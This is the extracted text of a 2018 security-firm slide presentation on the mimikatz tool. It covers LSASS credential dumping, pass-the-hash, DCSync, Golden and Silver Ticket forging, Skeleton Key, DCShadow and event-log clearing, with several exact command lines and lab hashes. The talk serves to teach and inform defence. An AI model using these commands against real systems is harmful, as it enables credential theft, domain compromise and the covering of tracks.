Slide 1

Slide 1 text

Sydney Level 8, 59 Goulburn Street Sydney NSW 2000 Melbourne Level 15, 401 Docklands Drive Docklands VIC 3008 Tel. 1300 922 923 Intl. +61 2 9290 4444 www.senseofsecurity.com.au Sense of Security Pty Ltd ABN 14 098 237 908 @ITSecurityAU Compliance, Protection & Business Confidence 31 August 18 mimikatz A little tool to play with Windows security Prashant Mahajan

Slide 2

Slide 2 text

31 August 18 https://www.redbubble.com/people/gentilkiwi/portfolio

Slide 3

Slide 3 text

Answer to the Ultimate Question of Life, the Universe, and Everything 31 August 18 Mimikatz is

Slide 4

Slide 4 text

31 August 18 Coffee J

Slide 5

Slide 5 text

31 August 18 Minesweeper J https://twitter.com/M_haggis/status/1032798552517423105

Slide 6

Slide 6 text

31 August 18 mimikatz https://github.com/gentilkiwi/mimikatz

Slide 7

Slide 7 text

• Benjamin DELPY, you can contact him on Twitter (@gentilkiwi) or by mail (benjamin [at] gentilkiwi.com) or visit his blog (http://blog.gentilkiwi.com/) • Vincent LE TOUX, a few contributions to mimikatz including the DCSync function in lsadump module, you contact him on Twitter (@mysmartlogon) or by mail (vincent.letoux [at] gmail.com) or visit his website (http://www.mysmartlogon.com) 31 August 18 Authors

Slide 8

Slide 8 text

Agenda 31 August 18 • sekurlsa::logonpasswords • Just scratching the surface on the capabilities • SekurLSA module • Event module • DCSync • Golden Ticket • Silver Ticket • Skeleton Key • SIDHistory • DCShadow

Slide 9

Slide 9 text

• After a user logs on, a variety of credentials are generated and stored in the Local Security Authority Subsystem Service (LSASS) process in memory. • This is meant to facilitate Single Sign-On (SSO) ensuring a user isn’t prompted each time resource access is requested. • The credential data may include Kerberos tickets, NTLM password hashes, LM password hashes (if the password is <15 characters, depending on Windows OS version and patch level), and even clear-text passwords to support WDigest and SSP authentication among others. 31 August 18 Credentials in Memory ? ! https://adsecurity.org/?page_id=1821

Slide 10

Slide 10 text

31 August 18 Credential Data Chart Benjamin Delpy posted an Excel chart on OneDrive (no longer available) http://adsecurity.org/wp-content/uploads/2014/11/Delpy-CredentialDataChart.png

Slide 11

Slide 11 text

31 August 18 sekurlsa::logonpasswords

Slide 12

Slide 12 text

31 August 18 Malicious https://twitter.com/gentilkiwi/status/937384097642635264 https://www.virustotal.com/#/file/e46ba4bdd4168a399ee5bc2161a8c918095fa30eb20ac88cac6ab1d6dbea2b4a/detection

Slide 13

Slide 13 text

31 August 18 EXE / PS1 / DLL https://twitter.com/gentilkiwi/status/887823565046910977 https://www.blackhillsinfosec.com/bypass-anti-virus-run-mimikatz/

Slide 14

Slide 14 text

procdump.exe -accepteula -ma lsass.exe lsass.dmp sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords 31 August 18 ProcDump or Task Manager https://docs.microsoft.com/en-us/sysinternals/downloads/procdump

Slide 15

Slide 15 text

31 August 18 No Debug Privs ? !

Slide 16

Slide 16 text

31 August 18 No Debug Privs ? ! https://twitter.com/gentilkiwi/status/1032161555964723200 https://twitter.com/gentilkiwi/status/1032270189444911104

Slide 17

Slide 17 text

The Local Security Authority (LSA), which resides within the Local Security Authority Security Service (LSASS) process, validates users for local and remote sign-ins and enforces local security policies. The Windows 8.1 operating system provides additional protection for the LSA to prevent code injection by non-protected processes. This provides added security for the credentials that the LSA stores and manages. This protected process setting for LSA can be configured in Windows 8.1 but is on by default in Windows RT 8.1 and cannot be changed. 31 August 18 RunAsPPL https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/credentials-protection-and-management

Slide 18

Slide 18 text

privilege::debug !processprotect /process:lsass.exe /remove sekurlsa::logonpasswords J 31 August 18 RunAsPPL

Slide 19

Slide 19 text

31 August 18 SekurLSA module

Slide 20

Slide 20 text

31 August 18 Pass the Hash sekurlsa::pth /user:da /domain:sos.labs /ntlm:eaabfdbde55b39c1a9b8d6786afd251e /run:powershell.exe

Slide 21

Slide 21 text

privilege::debug Get Debug Privs J event::drop Patch Events service to avoid new events. event::clear Clear the event log without any log cleared event (1102) being logged. 31 August 18 Event module

Slide 22

Slide 22 text

31 August 18 LSADump module

Slide 23

Slide 23 text

31 August 18 SAM

Slide 24

Slide 24 text

31 August 18 Cache

Slide 25

Slide 25 text

31 August 18 DCSync lsadump::dcsync /domain:sos.labs /all /csv

Slide 26

Slide 26 text

31 August 18 kerberos module

Slide 27

Slide 27 text

31 August 18 https://github.com/l0ss/Chump2Trump/blob/master/ChumpToTrump.pdf

Slide 28

Slide 28 text

• A Golden Ticket (GT) is a TGT using the KRBTGT NTLM password hash to encrypt and sign. • A GT can be created to impersonate any user (real or imagined) in the domain as a member of any group in the domain (providing a virtually unlimited amount of rights) to any and every resource in the domain. • Since the GT is an authentication ticket, its scope is the entire domain (and the AD forest by leveraging SID History) since the TGT is used to get service tickets (TGS) used to access resources. • The GT contains user group membership information (PAC) and is signed and encrypted using the domain’s Kerberos service account (KRBTGT) which can only be opened and read by the KRBTGT account. 31 August 18 Golden Ticket https://adsecurity.org/?page_id=1821

Slide 29

Slide 29 text

To summarize, once an attacker gets access to the KRBTGT password NTLM/RC4/AES128/AES256, they can create Golden Tickets (TGT) that can provide access to anything in AD at any time. Mimikatz adds the following groups to the ticket by default: • Domain Users SID: S-1-5-21-513 • Domain Admins SID: S-1-5-21-512 • Schema Admins SID: S-1-5-21-518 • Enterprise Admins SID: S-1-5-21-519 (this is only effective when the forged ticket is created in the Forest root domain, though add using /sids parameter for AD forest admin rights) • Group Policy Creator Owners SID: S-1-5-21-520 31 August 18 Golden Ticket https://adsecurity.org/?page_id=1821

Slide 30

Slide 30 text

kerberos::golden /user:doesnotexist /domain:sos.labs /id:9999 /sid:S-1-5-21-2872888145-3513486857-3924934394 /krbtgt:99d196d2968eb268cb69529153a48623 /ptt • /user – account to be impersonated or any username • /id – RID of the account to be impersonated. This could be a real account ID, such as the default administrator ID of 500, or a fake ID. • /groups - list of groups to which the account in the ticket will belong • /sids – to insert a SID into the SIDHistory attribute of the account in the ticket • /ptt – Pass the Ticket to load the golden ticket into the current session 31 August 18 Golden Ticket

Slide 31

Slide 31 text

A Silver Ticket is a TGS (similar to TGT in format) using the AD computer/service account (can be identified by SPN) NTLM password hash to encrypt and sign. Mimikatz adds the following groups to the ticket by default: • Domain Users SID: S-1-5-21-513 • Domain Admins SID: S-1-5-21-512 • Schema Admins SID: S-1-5-21-518 • Enterprise Admins SID: S-1-5-21-519 (this is only effective when the forged ticket is created in the Forest root domain, though add using /sids parameter for AD forest admin rights) • Group Policy Creator Owners SID: S-1-5-21-520 31 August 18 Silver Ticket https://adsecurity.org/?page_id=1821

Slide 32

Slide 32 text

kerberos::golden /user:user1 /domain:sos.labs /id:1108 /sid:S-1-5-21-2872888145-3513486857-3924934394 /target:dc1.sos.labs /rc4:fbdcd5041c96ddbd82224270b57f11fc /server:http /ptt • /target –the host (SPN value). sos.labs domain has dc1.sos.labs • /service –the name of the service that we will create tickets for (must be a service running as the service account) • /user –the user that the ticket will be created for, and this can be any user account whatsoever, even user accounts that do not exist • /groups - list of groups to which the account in the ticket will belong to. Domain Admins is included by default • /rc4 – NTLM hash of the account or /aes128 /aes256 keys 31 August 18 Silver Ticket

Slide 33

Slide 33 text

31 August 18 Misc module

Slide 34

Slide 34 text

31 August 18 DisableCMD

Slide 35

Slide 35 text

31 August 18 Clip

Slide 36

Slide 36 text

• Inject Skeleton Key into LSASS process on Domain Controller. • This enables all user authentication to the Skeleton Key patched DC to use a “master password (mimikatz)” (aka Skeleton Keys) as well as their usual password. • Reboot removes the Skeleton Key injection. 31 August 18 Skeleton Key

Slide 37

Slide 37 text

31 August 18 Security Identifiers (SID) module

Slide 38

Slide 38 text

31 August 18 SIDHistory

Slide 39

Slide 39 text

31 August 18 SIDHistory

Slide 40

Slide 40 text

31 August 18 SIDHistory

Slide 41

Slide 41 text

Start the mimidrv service Elevate to SYSTEM 31 August 18 DCShadow

Slide 42

Slide 42 text

31 August 18 DCShadow

Slide 43

Slide 43 text

Running as SYSTEM 31 August 18 DCShadow

Slide 44

Slide 44 text

Running as Domain Admin 31 August 18 DCShadow

Slide 45

Slide 45 text

31 August 18 DCShadow

Slide 46

Slide 46 text

What can you do ? • Add user to privileged groups such as Domain Admins, Enterprise Admins • Add SIDHistory • Change PrimaryGroupID • Etc 31 August 18 DCShadow

Slide 47

Slide 47 text

The following permissions on AD Object’s are required: Domain object • DS-Install-Replica (Add/Remove Replica in Domain) • DS-Replication-Manage-Topology (Manage Replication Topology) • DS-Replication-Synchronize (Replication Synchornization) Sites object in the Configuration container • CreateChild and DeleteChild Computer object of the attacker's machine (which is registered as a Fake DC) • WriteProperty Target object (user or computer or ADSPath) • WriteProperty 31 August 18 DCShadow https://github.com/samratashok/nishang/blob/master/ActiveDirectory/Set-DCShadowPermissions.ps1

Slide 48

Slide 48 text

31 August 18

Slide 49

Slide 49 text

31 August 18 Privilege module

Slide 50

Slide 50 text

31 August 18 Crypto Module

Slide 51

Slide 51 text

mimikatz # privilege::debug Privilege '20' OK mimikatz # crypto::cng "KeyIso" service patched mimikatz # crypto::capi Local CryptoAPI patched mimikatz # crypto::certificates /export * System Store : 'CURRENT_USER' (0x00010000) * Store : 'My' mimikatz # crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE mimikatz # crypto::keys /export 31 August 18

Slide 52

Slide 52 text

31 August 18 net module

Slide 53

Slide 53 text

31 August 18 Process module

Slide 54

Slide 54 text

31 August 18 RPC module

Slide 55

Slide 55 text

31 August 18 Service module

Slide 56

Slide 56 text

31 August 18 System Environment Value module

Slide 57

Slide 57 text

31 August 18 Token manipulation module

Slide 58

Slide 58 text

31 August 18 Terminal Server module

Slide 59

Slide 59 text

31 August 18 IIS XML Config module

Slide 60

Slide 60 text

31 August 18 Data Protection API module

Slide 61

Slide 61 text

Sydney Level 8, 59 Goulburn Street Sydney NSW 2000 Melbourne Level 15, 401 Docklands Drive Docklands VIC 3008 Tel. 1300 922 923 Intl. +61 2 9290 4444 www.senseofsecurity.com.au Sense of Security Pty Ltd ABN 14 098 237 908 @ITSecurityAU Security, it’s all we do. Knowledge, Experience & Trust. Questions?

Slide 62

Slide 62 text

Sydney Level 8, 59 Goulburn Street Sydney NSW 2000 Melbourne Level 15, 401 Docklands Drive Docklands VIC 3008 Tel. 1300 922 923 Intl. +61 2 9290 4444 www.senseofsecurity.com.au Sense of Security Pty Ltd ABN 14 098 237 908 @ITSecurityAU Security, it’s all we do. Knowledge, Experience & Trust. Thank You! © 2002 – 2018 Sense of Security Pty Limited. All rights reserved. Some images used under license from Shutterstock.com or with permission from respective trademark owners. No part of this publication may be reproduced, distributed, or transmitted in any form or by any means, including photocopying, recording, or other electronic or mechanical methods, without the prior written permission of the publisher.